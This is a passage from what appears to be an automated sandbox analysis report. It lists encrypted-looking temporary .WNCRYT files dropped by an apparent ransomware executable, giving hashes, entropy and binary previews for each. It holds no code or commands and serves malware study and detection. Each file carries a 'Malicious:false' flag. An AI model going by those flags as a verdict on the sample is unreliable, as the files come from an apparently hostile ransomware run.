                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:p5NPt/mY5wb/HPTl6mfyUAlbR7sG+jbwlaYRWuK1S:p5NNZ5CYlF7wfaaYRv
                                                                                                                        MD5:17D8FEE3007977AE709DF45A8EDCC538
                                                                                                                        SHA1:44C8A7208F69C0ED0D9EAE7A44DF00F9B33D0E80
                                                                                                                        SHA-256:B3F83AD2A6F45F1D3EDAAE6E09DB8F7F9375B8C2F8CB476941F6CAC97D60D695
                                                                                                                        SHA-512:A8DBBB5A8E5083FF4643C6C4F0A5B5D4500A5C92CD1CC77154EE30391558DA900CD9800C3FC62BC9C82FFFEF9EA8901F440CA836FB0C57FCD7C5BD55995A6906
                                                                                                                        Malicious:false
                                                                                                                        Preview:.VN:]...:}t..v..M......f......j]Z......_qM.U..&CD...h%i.4,L.!M|..........Q".g..%..........k...p..F.('...H......8>..s..W.F..........x..7-..3.#.........d.;x..ZK.n..x]...l....`._....}h..t6..4g........*A..C.a...Aulq...>[...H...@.J.".l.{g....b.g..+ !4..............E........K;..~.D0....j...`.k/..4.6. -t_.(...I.Tw.JA#".>.......Mz...3s...T..L.N...zT_v...a.../...t.kH5.....e..v...H...:P.I~m.)^B..v7...P.se.E.S.>].6)..r._.@..ds}.%...)W.....Aj..*U..2..k.?...{..e..x`...w.0.D.......V.....J.}T.....X....imX..8........'m..d..P.....XS5..o... .r.!.4v9..Y..vlN.J9<..i.n_.n..........K..(...F..%.t...../..f......H!....!....o.P.*e#..im.....0.^.7`|&..A.....M.@jN.k I.....]..G.`R." mk..[.u.Sm...>.h....)../.?.x.:.2.9.....n....^.!....U./..7.o../....h.*..;...>\.)...17x.d.z...9O./2(.v.@Q.....S.J`.S.d...)...........TY...h.'W.......+.?..vx.z...i.........).N..J.XW}`..QJ.&8.....l.T.=..s....#.[M...w.fX....r+..=..uO.....s.+..//`.3...f-.uV..Gt.../$..5..U...X.3.&..|.}.`.'cK.M

                                                                                                                        C:\Users\user\AppData\Local\Temp\12.WNCRYT (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.796681495124586
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:/eINyqVOhxssKmdJH46nurhvWpWcT+XjilqnqNmqhj://NyMOhxsubnurhOpBqzgmej
                                                                                                                        MD5:931991E39E09BC3383D12A09A14BE6CB
                                                                                                                        SHA1:23DEEE9FA14AE539AD292705B8AF4C193A0EE111
                                                                                                                        SHA-256:784F6ECA2C05E49D66376B299556543F31AEE7C6F09686D2E2F30C70890EDD90
                                                                                                                        SHA-512:BF841DE8D41A1C19F089E6D6DC4183D9E0E9AD34C49CAABC03890E7C304052CB014369CE1DEEC734027AB8D63920C37B6775E8AE47690DEED88491B9C5FDA5A8
                                                                                                                        Malicious:false
                                                                                                                        Preview:....I...o.HG.3.p.>.........x.k.F 4VAW.u\tGU...`..+g6A.8....(7....sbA.0...I\Wg..W.t...Z....?.9h..]y...... ......".Iy6...EBo........8....."s..=.E,...7..F=.....r?(.A.<....r.........^.&....l.Q1.z.."e..T.|.r.C&....].%n7&..{.%L.....u.!..AN.....0......`H..r...@L..W..4d}...Aa.S.q.~..(...s..1.....d5U..A..j...O..7.W..=....X.Fe".(g.y......)....;....E.^@.Ae....|*..z.....B'..G%.X..Rp:S..+.I......5..zp.w......._.6...Y.(........z)"\..>.....N..C^T.N.i...P.5.....5.....S..%.....iS....#...V.6[.u.`(.u..|4>.Rp...LG..?.....'MU..s{....-.....K%..K.T.I....M.)vo4f.....w....W....8.....h.H..a.o.%.!j.3......R.Y..9..nG...tk! .26.$n..X......!'8.........w.'q..,x.N...V..n..#..."O8+.2.NiZ6T...N...ya.g....Wm..UZ..=.:..tf..p.N...O7lM.Y!......+V..*_...B"..G=.uQo& ..G..O$qv.s..n+.U#..mu....g.........7/&....".......rvb......Z..V..?.~....RaF.h...-...y)Q.R-KQ..'.?...K.v.R;...}&..^....G..m..R\6..u.....9....H3.'..D$..9...bSf....%(.55.6..8.!....K...k.G .)T.R..)..1..vtt

                                                                                                                        C:\Users\user\AppData\Local\Temp\13.WNCRYT (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.798254510874656
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:ryu8DvnLIuseMNI4CmxDmgu+CFel5N4L6OahAOdUSn4S:ryu8Dvn0a4CmxDpjuel5e6PFn4S
                                                                                                                        MD5:40DAF7C60162CC05E10591012503C4B0
                                                                                                                        SHA1:79ADED176E636EFDA4369EC91FAA1EAE123EC196
                                                                                                                        SHA-256:A0736447C6E1DCCC4E13C0EA3E5F9F5408524B72BCC93CD817AEDAFD5759CEB1
                                                                                                                        SHA-512:B22C42F15C4EE0A2ACCC0CEFF19E9EE95F366A35A8F0E1DCD9664708ED2438B2E0E5D919EA28010625AC494B7FE104E5CB7AB470F7AF4C7CF41CDA8E55412919
                                                                                                                        Malicious:false
                                                                                                                        Preview:1..V...[..B.Xg....p.:.!......M.....L._..(m.<.-...V)O...!#7...\k....2W.1.O.r.O*>j:l..3K.......M...D3.A....q...^/..^0....u........&.j.....h.....'3.....^.x.1.j{o&....`...C.V..$*Y#..........6...dL..QC.|Y.F.......v5....}K.`ov...n.c...I.!....I......+<....7;.Y.WN......NUg....M......u.....l.M^>.D.l..@!.....).V)G....G....=FwKk........Z.W...~__..E.8i....[~....YI..h6._5.@yM....7.v....A..H|.^..R_...L...=....@..k../.=.c.......B.N..5`...9...e#.......X.....t]..Y...^....d.u..,.h.%.39...`.HC..&.+6......e.......Ur.......b..42.c...2/C..=.R..L.Euw..}..zA...|..Q.s....h/.&mV..".F.\.....z..K..{z,..........^.I..vW..d.A.....@8^.f.(W.....sw...6...8h5.....l;=..>V.[3.....C...O.R.,.)LRw.M2ekz.r@4^m.r..f..d..!...'...@.=o.0e...{!.).!..2..n....]...#!L..{.kU>..#..0...\... /.Kp.j..+]#.....s.5........c.^B.*......I.....{.0....u.P...h.>......ek#..H.. ....Zz...Zc....m.x*....[L.c..qAJ>9....CY..:q.p.g..d.o_0p..z.D31qJ.....wP.g..o...t.........,...W/..t.......W....q^

                                                                                                                        C:\Users\user\AppData\Local\Temp\14.WNCRYT (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.821584329966496
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:fZeXq/CCY21WbGpswU7R7eChWCkT69rQJp:sajXMskR74CD2/
                                                                                                                        MD5:2E45B533B3759B8DAADD5BF4DB57B0AA
                                                                                                                        SHA1:057EC47F0A99C6C137AC9D63C3C1254DB3B217E0
                                                                                                                        SHA-256:43318BBC3A13E0B268294D37FDFF948673001E75A5F5691FADE017AE07765EB6
                                                                                                                        SHA-512:91D60DD317327A8AEFEC302244EF42ABC5ACC52DDAD4AFBA87AF91438389C90FB85F819ECEE6AF8D310CFB366559AF8FC9997EB966E901228F322B40B569D789
                                                                                                                        Malicious:false
                                                                                                                        Preview:...f....#...4.(...'....uD.A.h....{o`..._.Ic..h.5=...w..8o....:C......;.<...(..t.e.......u.^r....g-...$..'.X...|..7..o.&.x_.7.a....Yz.4.~.....(d..W%.=...W..1..x.l.\#6....~_qB..%.6..:T.5L.Vs..w.".\/.-.[a..W.;]...*.).scT..R..6H.n.A.....3..v..(+.a)....'.5'..{.o`[.......@.F...y5{..x*c......i.K...l.....0j....5.Q.;...h.k..K.5...=.nY.....p..(..9RK?(x...a..[..>...J.J...zE.y.L.:.p..|.N.....N.....?..S.*u..sbof...M.*....c&...s...........j..o"....u..n...9z....6U&r@.....7...G..K&U..9..Sh...!..\......&'..L.qum.Q.....&.O<t....A*..T.{...zc.........k./`.X..x7...?..v./Q........JhX.B.oL....h..0.P..<....d?m..w..........Ku....`.9V..5(o.\o....?..c.?...*.7.Ug.%.cc........%d.D..F=q.zOV.a..6.,.V-.a..b..LH}d..= ...fX[...Z....s...el{..-.(...........K.&... .Yt.N.[.rfMc.k<w./8....@..3Qf((...RqW..U...1...N.9H...e.Iv.C......z..4.Z.K.UQX</ik..Oo..W..n.B......W....m-..4j......D."....U..8?Pk..mZ.>..VK....t._.j.QN..U.\.>.j.tGL..C..=..E.+i.2.O.i.,..l...^l..Z.&...f...M..!.RP.r.

                                                                                                                        C:\Users\user\AppData\Local\Temp\15.WNCRYT (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.801866330012878
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:xex7chKNxMwOREhR78zE/Sn1I8b0DCsIG6BVwGbNN:xeWoNx+EhRQE/S1VPLGLCP
                                                                                                                        MD5:F7334333323863CBF28C4453C46BE0BC
                                                                                                                        SHA1:3E5BDCA114AC640FFAE8E62D03D230F80A43DE1B
                                                                                                                        SHA-256:31A6FE92CBD8B100CC44DB1976BAB680CDD6831211C503E9DC789E94CCE83C7A
                                                                                                                        SHA-512:24977F5DA9B1C6BEEB16A2889B8B121FA5B60010C51266306797278D890E0E78AE8D9932625E1C71E07E083509229A1ADF36DB5C1C28BBFF40D11B5D6B0C93B4
                                                                                                                        Malicious:false
                                                                                                                        Preview:....e.5.....*eJM//.?..O.....e...+.F............%R/..d.[.g............^.....>a.{O...xV......Ob.P...QI"..Y.!..R6.O.....+..k,3.>....F..p....4.K....\..=...1|....9...qA.nj..o.b...nRc.<.....v.kj2.L.%l..'..~U..9.9."P..dJ?....1.Py..$.........4....#...u..VU.3.."...[....DE.~.y..IP....Q.kwA...i.Q&n..'5=.....JZ..E.<J..%......9...j}......ifX.KV.*_..'.A..q...+./;......"w.4..,.5)<..s.XNK..T1...;Q.+.s.u..;z[.....]r.h..h~TZ..jc4.....d.]?....I....K......#Y....Q_yHo.U........?...m..].....z......@X]...B[..`...R.....(y.........}~................t.M..)Tx...$.~..-.$.vQ..6...)<S.E.;^*.'.zB6...`kb..t.g.<r..D....t.l..6?.r!........j.5C. ........%.....F...Q..fx..h.E..{....r.X.W.(V.(kC.L.(.....LS../.r.S....I.R...H.L).Foe.].MjZ..2e.lM.B.c..+8...9.yi.sn.|X...$..?..6J...l\..u.....r..J>...../.d..J{...[.....Km.i.o.G.cbu?.*..U........f.CEI}.r..7M..W.{...G...8MT u%..........4.`..V8..:.N.N...1..T...k.:..V....{V.6......F"S.Ycb.r..[..@..s..?.U...,.%!......^.F......+.D\..9

                                                                                                                        C:\Users\user\AppData\Local\Temp\16.WNCRYT (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.806207913363271
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:jhHwtY/e9VP/6s5t7HcvgSEXarqVEI+TAdQWe1sPeZWTTjE:SOGviot7HWEVVH+6Qa1jE
                                                                                                                        MD5:0D4D90CA3F1481113E176112983223E4
                                                                                                                        SHA1:0E7E60FEF3CD539393B156F4B1D39F33A4358724
                                                                                                                        SHA-256:E1731B7E588B486526A30FEEF824600BFE383A5521B9C62B594F612DAA897221
                                                                                                                        SHA-512:8727C4182DE267ACA662DEB85D25182343A289C5A0EEC81623A43D268CC56589BE7ED3DED53B316F101E8C08E9A3071406AD92BF97F0C7F29580C347D0581397
                                                                                                                        Malicious:false
                                                                                                                        Preview:oUT..%........$kSv.....70..nC-..E..?S.{.s..$....].x.8.R....P......1....P....'....s.[#...:..o<.\....K...&Uy.>....jq!|..sn.....n....)^.Q..Mq.z...b.C....76.(5..v......z.O.yY..F.t/....5....Q_..."Fr.pa9 ..La....m.......h.7....\+..8....b....0.=n.d.Z.:.C.8g.."........'.@=.".). Ia.4..P*....._..<....,Z#}.H.].,.....A..L.P...V2oU..J.K.#.5......1{...4..n.d.....-..i..P...fNz..$..,^.|....P.0..4.0%@.K.r. ....U.C{..l..\.F.#......fQ....<C.....Ew.cs).}.9..1d.&$g^..>. ......D2.....;.....X..Bh`.F.!..R.y.RS..y..$...:J....G...<?..6..l....(R....WK.m..*.H.....Q......$..r.k...,..'.5...v......nY.(7.............C.|Z.7....LYc...V.B..........V......J"..g4.......!..T>...N...Br.pB.i).U..5.A\4...".?...".1...U...Qbe.;=....B.]..2..ki654....o:..D.Q.G...f.....wB.....5..g*..E\..>...#..>hG.........{..<Z...~.....o.U......YR.s.4"..o.(4..n..+...B:>.%.....8.}?+..T..f.*...L..a..Iq..y..c.FZa.v.d.}.J$..+..,.....9n.i...!V...6..aS%&Cq...}..<O5.}..-z..#.l@.W....l=..sA.qj.[......6.:..K.....

                                                                                                                        C:\Users\user\AppData\Local\Temp\17.WNCRYT (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.79262356881554
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:7qUUo5vv88jpuJSOE87arPT8eS5TUOQfk6:7lnvvNT4erYH54jr
                                                                                                                        MD5:AEC9F9E0DDB76EA63D5B9927E91745CA
                                                                                                                        SHA1:A18E57A02F26FB69CF815E5645CB5A3D8AB8FA21
                                                                                                                        SHA-256:4E4F40F87B60AEB1A04A91A7B120565FD3BA40D29F7C3AA75ECFA81C7236E193
                                                                                                                        SHA-512:E6FEC7B143F019B0E87E898E5BCB7DF7D909BD948BF0452E48A14AF725C082A1314E5F5A7E9B9C3284FF963FB48359C1CA3F3DF27220012CB94514797E6F26D9
                                                                                                                        Malicious:false
                                                                                                                        Preview:.f.(.....3a..H..W..hE ...F.V...Y`.j.?.v.-*`....o.*....t=0....JLv5&+E...S,.<..a...mz+P...O....~..!.F...)....W....d;..8wj.\......)8....C.e...\K../..jk:.M0.B.l'..rBj.6..(........!f!0....F.,%_0L.x........W.....LP.G*....1..}*e/-..e...@P.&o.....D...1..].]>muk.*.m.YX.)...o..F.n.$..6U!8(.. ....o-..` ...]P..s.,g@...O....`Y..n.....F...X<5...gi...x..9...-&d.0._Y...U...l.(.../.1......#.cU^.E...L.+.")......:..C[`.......y.+.;w ^..0.m.O.|..K.%.....'...Z.../?..C....+.G.; .s...bB....]..?..sA.U.L$o.L...lc.....F/....X{x.{.o|.T.:........oGJ.9..M......&=...r.......B.={.i.LM.X..<...[.LE.m]j8,B...1.......+.H.j8..T..".......%O......-;.R..Wb.$..z..W4...c......j4...4.,...%St...T{"......TQ.8..e.t+9..=.Q./]S..";...M..t.Q....w0.].`f..+.....k}...a..h..t.+......,yG...T...{.8)%2..g...\.2N,l.S.)C.!.U3....D......S...d.i.BTg.0.).hE..O..?.<#.[..gx$..W...ph..w.u2.......a@T...X!.@-.&7.g2.....P..).U..*..&.!.L'..J.ewZ..ovM...{.:..k^.>2....L)..;.^.^iRnc....w...'.....R:(

                                                                                                                        C:\Users\user\AppData\Local\Temp\18.WNCRYT (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.825240455546747
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:r/qryE6J7wxGNqrJqrTXyH+7xvGDpUP59o2v82DW7FPG5iaJ1W1Egx1O:rqDTGvHXyHkkp29rv8774iscNe
                                                                                                                        MD5:3A5369E8B92573C4ED306C0AC0552E3C
                                                                                                                        SHA1:E90BAB484CAFFCFE95475CA194AA6176119E7164
                                                                                                                        SHA-256:339B42D2083802044FFC9575738D2688D03608514822CBDA79D5FFA91835F8F3
                                                                                                                        SHA-512:554B4F09EE9BFFC11939413F1E00DC5D72BB558C5750184BB04C73430AB3E8F2261AFA4E44B7B0D1AF67633DD80B2DF889233FB2F28FA3886DE7603BC5174303
                                                                                                                        Malicious:false
                                                                                                                        Preview:/O...0..]4....^F@M.1DTV...N....b."....$..g.nS...m..q^.-....K...*[!......~i?..~.B.Q.^ ,..:...fqa...*G..C.M.../.=Ly..=...}.t.Tj.H,..0.K^M)~.i. .9....}o...f..p...6.<2...NH0...B3W...S.......X..K..YH@9...'.!.#'.H...3g..E.>...f.....e"......&.L}..<..Y...>..}.k..f.b....bD=...5........A...'C.0Sc.7].....i.u.f_.5.a...O.IR.....i.......h.x$..F.u..r......L..nw`.....>...I.q.5.w.@..G.Y.v.J ..0.......80...n.!...*~E...j.5..a.t..S..._.la&e>z..<..]....8.....wQ....:.@....h.|.^.......q..k.fQ...K..u.............78C.{.....{\l.}/.o/....{..&.K.O.,......!.....L..!.-..g&.h."...!...bN.lP.I..&pT.....C.G.&...G.....h~5./..}.[@N......9^.B/..1.)..C~..`.e0.....W...,.Q.Mp...!_[....y.....4z..l.......5...:.}D6.C..q.,a7.(..&O..]..b...Z./........3.. ;cP.<....^..KV..+..r.Y.e*4.\.Y8e.;p..].....F`.LJ.E7..%2...{.u.}K..L..;..1:.Km#G......sb.._...?Y...[..U)f..(...r_=e.5..W]...-xM........C.J.......u99....!........l...ZtDR..4...CY....4.!.6.N..r?tt.bW.Z...~.A7.O...b.Yy*...H...-&."..=...6

                                                                                                                        C:\Users\user\AppData\Local\Temp\19.WNCRYT (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.797267371487034
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:xaE5vcDdV8g4LWiInMak/YiwcxLAxolyqa5b12ouRDZrOSj:xaE5vcDdV8RLXVN/ucx4olYbIouxZrv
                                                                                                                        MD5:4BE56E67CC5BE810E40AD6CD51D5548C
                                                                                                                        SHA1:BDC0BF071BD654C26AEF04A2313412354FA75246
                                                                                                                        SHA-256:F94028AEA27764187824560A327A12B316653F1EE5C5FA954F8BCC9F9F9DCBF7
                                                                                                                        SHA-512:D26D8EFF0812258135532278B9CFCF117B1B6D5A41B748BDA86AC0B6564C9F43CD49B798728ED0DE521D0C12E553D05D863C3FBF90556B06304B97EB533E8430
                                                                                                                        Malicious:false
                                                                                                                        Preview:O......0].......|.....!R..k_..........._......x.......8.......1..+.D...hT.=....S.F...VS,f.........;Ez...I....c.....p.5B..$.u.....^<.Zx95r.....n.?P..?#...@...(z.C4C.R5.ye,7`X3.m+..^E..."..d8.gM.4..~.*..V..W..Y.{.......Mlk_...v..U....B.>.i..9.5.Ue.....n)......M..J.C.'|.!..j.....r...-.D......}.._.I.D..H.%......Fb.H.5.xY.i......'(.;C.~...../.E..L"j...o......i.1...X.....u[Id...._.k..R..%@C...Y..d..K..a..#.W;O..w.u.&......v..L..eJ.2b...|}y..}`.m.p..h..t.....LMy..a.oE.4p7....+.LV>..D.D..s..]!.[Ai..OO.Q........t......d....j.c...M."^..?u;..mY.j..a\.o.@H@.....N.^..&...mc..R.~.i.O.%n.g...2.....!....&.."8.9.....^.H..H."..j}].4.#O.Gy?........>F..B..09./s#..D.....6..{..j.#..{!.aw...zM9...Y....:.UF.0...F..-...Z..r.C...r.t.X..Y...5.T..c.'.s=..I......k,Dp}P......J.S...NB.../....."5.y....?..f..4.]..P H;(.uO.........C..n.\e%yP.T.;K.tK=...t..eY..dp..A..;..93q.......?..*c%.W.a;.U.xECo2."i..........DHW.4.........,..?..D.....^.a".\...+....W.h.{.....?...g.

                                                                                                                        C:\Users\user\AppData\Local\Temp\2.WNCRYT (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.796648249930545
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:9S8Bk8pDYoEw42BTgAtxYBUYeHhDeX3y1XGWdKg:/LpYopGPSvH5Si12Wcg
                                                                                                                        MD5:CA204A2CD3E9A56FA75F1E13468AE63D
                                                                                                                        SHA1:3FF15844DBD61B3267091BF7B2DF53FFC3F63CEB
                                                                                                                        SHA-256:4B6CA83591C11F692B2AF2C1CD359FAECE9F9CCA4B3CA397D27420C794B6959A
                                                                                                                        SHA-512:CB76A53C6826DDA742DA6672F70284FC09A6E7B5A10936B7C6C8249A1C98A1CAC4F8B645586901FFD9590AD844522AA0691BD31D849871B312264A564D8E89A2
                                                                                                                        Malicious:false
                                                                                                                        Preview:.C......fJ=....D......q..}..*..r.t.>..:.fc....._.......h.N...M.m.Oc.Cn#.S*9{.RC.L..r+82)h..&x.X[*...f5.<>..#.T;b..nkG....w.!"...Ed|....B._"..kE/9...k$.[[.hW.Uj$.m.....X.$n...J,j:..-c.8..#..eTM\QE.#i..8..hzT.b5..&.ZZ.M..J..+z...z..(.1.=0.v..D.....]..A.36.f...:pgS..7.....:...Lt..m...+....{.'w9........(.......z.t.Tcz.3R......t.aa...;...1.M..A.z..q....'..........@.$e.BM[ x..|o.Q.R., ......VfDzI;@9....GF.&`.)....".y.M..-T..`%...8[<.y..a...l.t..v..x...<.Bw...'6G.h.B.a.C....Im.S.... .7..W...k!....ZY..=...r.W..e"..t.g..I(.....{q.G~..C.S..AI.uRU....1Ez.Q.?.... .T.:..0]."c.l`."..?7.A..Y..ZIV..W...IP ..7!>.B.D.....scr.....+*{...p,Ej37.a..=.b..w......(D.pT_J..m......Sz.[d..I....D@E.81(.;........'.L.M.I'P.|:..-.......a..-.#.C.z.../....S..v...p.........K~..54...\q;...j'.K./<..G.9/2,.vz..o..UV..x.....K%Cif..."O".....!.`.....26.3..s..'._?sA..GEw2...7<.$.e.q.?...f..,.=.<.......I\...\.........Lo.E'...WPl3.2.A>.......=.....CX...5..M.,..7>.F1....?V...CG..b....

                                                                                                                        C:\Users\user\AppData\Local\Temp\20.WNCRYT (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.799017854308322
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:omZPEtrCX3ooPTb9U66wUt+WrKuI8230sQC:iWXtbboaK23LN
                                                                                                                        MD5:4B01456D05ED6AE2CB97494FAEF3808F
                                                                                                                        SHA1:2930AE95990A9EFB555CFBF2842D694415751391
                                                                                                                        SHA-256:D724D6D0D660FC2BBF8E36AFB32F03A57FD0DC6430C88531226D5BF6B7CF3504
                                                                                                                        SHA-512:7F67F1511C2B7C8A455534C843FF6F4D546C929F9E3FCC1B01CC47A6C3BC43CF7AABFF880C49522FDCCD3F01BB75A7280B1824E0802AAACD7B6F6177A2F6191D
                                                                                                                        Malicious:false
                                                                                                                        Preview:s..-.m\..r.........@Akk...|n.s.o.?....<o...."u...O....N+]S...Qkj.!..JdR...K 6.I l.y..B..H ,.Vh2.gqJ...P..~>a...Mv._..l.Q.....u..[..t.I.I9s~K...;/...Y.uRb...../.DV._)H.bt...>...*.]..g.`~..x.p-p3...^...F..W.5..7........l.....+z...>Kf.;.F.......dY..EU|.......z.E..R..Mf-./.H...x.,....%..W..[{...@=.F~.....c.|-+6..^w....K..m)A.1GQ.7...w.ir@...l#.[....mQo .{.....7.(9&..M...Mez.#c...+..*.b...ShdYE.../.O.......k].(P"q..L......6...i$..7bH..Q......`.....J............eXm.v...Wx.....Y.....n..%k@..Yt."5..:j.h....K..H...w.'.-.R....#P....1.U2)F[.....GNB.. l...]+i..r...,...yz........kC...(yR;...3..m+..O..K...k.i..v..g8:..^....l43...L.5.....S...u%.r...C....S...Y..O....QH'_aO\.A.Z....Z.`..'.<Q!.g......M..s..)5..y.p.|.,g.ICB_..g....9.0m2).T.~.[..Z..M.-hp1..MRM&.l.n.:Q.D..|../.Z+./..m!.v..9.........K^....*...T.......G....Q S.!#"..C.V.a=)~....>cu..lVqi.y1ck..,.Y.#.;..&-|3.q...P.`..p..-......._~..@.q.Y.Wf..X;..#.....^..,%.(j.@...K(0J ..6D.....\...:.$h.v..[..Q....A..;g.....;!PT>:....

                                                                                                                        C:\Users\user\AppData\Local\Temp\21.WNCRYT (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.82691695049323
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:AClCb3H2J00WKlN03FfNmvAJpm4+2RmRvMp5qIR1uCUo:AuCb3H2JNlN0vmvWpg2RrpgIR5N
                                                                                                                        MD5:3AC9CD02B7C46DB8EB1CDFAA18FA1915
                                                                                                                        SHA1:1CCEF4E3CD36E04C964B704F6BAE100A654C27D2
                                                                                                                        SHA-256:7605EC120F58AA9AF4AED29FFCE40B2F5176B07207CA59754C92F589CEA7D098
                                                                                                                        SHA-512:95B30BE7C9B161B036C812F63E84BB8E808512490FB51CEE52C5EBE1D488C0E88E2410836E37E38CDB2CF8B46DB3D6E6767A7A9064813F6286B7985F998DC29B
                                                                                                                        Malicious:false
                                                                                                                        Preview:5`.......s(.*...........W.U1..Ed..bi .bL...N/......^`..0T.6..._.Of...T..3b.X.tU...|..m.v...C......h.s.Rr...k.fZn..^3.7...>....U....]C...5v..$Md.W\....).m........k/..k...... ...p.O..^iM..f.-'..zON..E.X...p.RZ2./...U..B.......c.8..8..i1..\$g.B..|..Sp..J<..d.I..'.(l..[...t........!....Q.*..k%..P..`.LoM..J....O..$.g.|.H.U..~%256.s.]..r....'lp./.4y.ou.....2.'.....r&.....&E+........60U<.5M.....U.M.D8../....g...d#..V>..q.#{.......K.H...C..#...D...#`.O.8&e.......*...i~.5.9..ukw..j...Y.{.|H.....z.k..5...2/;,x.j..)DD.......HQ.,.b..)f........f.Z....i.]T.$..*[8....!njpL.9.=.r\..7.o|fa?...G....b..WV.....y..]....."..L.W...8$7\.S..[...y....1....<H..^..U.S..:Q....,...yw....D....'..*..6.F0....F...L$I..h,.:.K..G=]..(.f.O+.Q.03....j............C>...t>nd_...ZF'...s.3#6S*7^}.".b'<.#_FX-.^...>.*.......Y..a.GJ.%.I.`.$.Z.C...A.$.J.S+@...... .....b.v.K..4.....z16...]U.6 .h :Kx...>.Y;.0..Od.tUO...v..>.|T..j..Q...[k.{.S?..+.@*...Zw.VxH:....9h?.V.V'...n..% )d...Ab....:&

                                                                                                                        C:\Users\user\AppData\Local\Temp\22.WNCRYT (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.822277219448273
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:nX6X7WJz8/ceEmRI9RoJT3H0+ZxOqwStcDZT4lNztOralZ7:nX6UI72RsGfS2DZT4z4alZ7
                                                                                                                        MD5:8C6C24BFC2E59594555071B4DFB2A065
                                                                                                                        SHA1:5E5FC4F827E14EC35BF7E4AE02E0AB82248BB633
                                                                                                                        SHA-256:B3D458F31BDE988FE25C6CE412E0767CEA81CD28FEEE8FF030E2699CE0004150
                                                                                                                        SHA-512:3180E64E730AFE535E93A5E710B760A9676CDEF675F2F4C3F838A6E4E6CE5717EC959EF3CD5ABC77E75138B257A837E065114A6BA940EB420C02EF699886A538
                                                                                                                        Malicious:false
                                                                                                                        Preview:.Tt..p......u.].....ny......%..E......G......$......u...X.}....[V.....X..t.....Q.*z.j...1..V....oj..~O.QUj.O~..._..Z.......@-<m.E..+s....N..]..X...1.'|tr.t.v...=.>.......v.!..$....P..Ph.B.c..V..oGU..;.......V.4..Z...UK.6A@...V.~7.."qw....to.m..'E...f#.9.m..q~&..}q.....(.... ...."....]....Y.|..7......|BqS.j.mE...&4B.Sb.i..........].....\.7...5..|.u.K......(.].8sf..I>.5.?OI..p.x..^.',.GL,.K.5.,+...d.`..e...s:a...n..n.5*......bA...}.n.4.&....3..s..&..}..r.........9.....UiS..w.......l...:.C!...#..fO.D)..&....r....zrs;..UR....ejK.d...k`B.:...S;oA].....LO.Iq...F.T.......9.g....&...V.u......T...._.{....]..8..!Q.|uK.........q<.s.Z.....0..K....%...l...y...V2.=J.5..2.kt..:..`bIH.B<.!......j..e.@.......M..C.2.T........G.p......`.[..}.<:}.?wS...M.b.tC.......)..p.y..>......S.`Y..O.<NqV|.).Ny6.=...y.AZ...N.5.R..@>.....u..^.........wM....X...u.....N...LB..........|..T.V........R1.v......8b*.9c...^"A......Ngw.{.Sl.{.J..kA...r.V.5...Fg.60...*Q_..Y.

                                                                                                                        C:\Users\user\AppData\Local\Temp\23.WNCRYT (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.815396099228668
                                                                                                                        Encrypted:false
